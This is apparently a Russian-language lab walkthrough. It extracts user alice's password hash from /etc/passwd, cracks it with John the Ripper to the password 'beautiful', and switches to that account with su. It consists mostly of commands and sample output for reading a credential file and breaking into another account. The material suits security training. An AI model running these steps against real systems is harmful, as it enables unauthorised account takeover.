-
Проверим файл /etc/passwd
для получения информации о пользователе alice
:
cat /etc/passwd | grep alice > ~/alice_info.txt
-
Проверьте содержимое файла alice_info.txt
, чтобы просмотреть детали о пользователе alice
cat ~/alice_info.txt
Ожидаемый вывод:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash
В выводе вы должны увидеть запись о пользователе alice
, включая хэш пароля.
-
Чтобы взломать хэш пароля, мы можем использовать инструмент john
. Откройте новый терминал и выполните следующую команду:
john ~/alice_info.txt > cracked_passwords.txt
Пример вывода:
Created directory: /var/www/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Это запустит процесс взлома пароля. Как только пароль будет взломан, вы должны увидеть его в файле cracked_passwords.txt
.
cat ~/cracked_passwords.txt
Пример вывода:
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
beautiful (alice)
-
В данном случае пароль для пользователя alice
- beautiful
. Используйте команду su
, чтобы переключиться на пользователя alice
:
su - alice
Введите пароль, который мы взломали ранее (beautiful
), когда это будет предложено.
beautiful
-
После успешного переключения на пользователя alice
перейдите в каталог alice
и создайте новый файл с именем alice.txt
:
cd /home/alice
Создайте новый файл с именем alice.txt
:
touch ~/alice.txt
Теперь у вас должен быть доступ к каталогу alice
и его содержимому.